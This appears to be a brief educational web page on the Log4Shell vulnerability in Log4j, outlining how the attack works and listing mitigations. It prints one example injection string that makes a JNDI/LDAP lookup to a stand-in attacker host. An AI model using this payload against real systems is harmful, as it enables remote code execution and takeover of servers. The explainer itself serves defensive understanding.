Log4Shell Vulnerability
A critical flaw in Log4j allowing remote code execution on affected systems.
Understanding Log4Shell
When an application logs user-controlled data using vulnerable versions of Log4j, it can inadvertently trigger remote code execution, granting attackers full control over the system.
Attack Process
Malicious Input Injection – Attackers send a crafted payload (e.g.,
${jndi:ldap://attacker.com/exploit}) to an application.Log4j Logs the Payload – The vulnerable Log4j instance processes the attacker-supplied string.
Remote Code Execution (RCE) – The lookup mechanism executes the attacker’s malicious code.
Mitigation and Prevention
Upgrade to Log4j version 2.17.0 or later
Disable JNDI lookups (
log4j2.formatMsgNoLookups=true)Use Web Application Firewalls (WAFs) to filter malicious payloads
Monitor application logs for signs of exploitation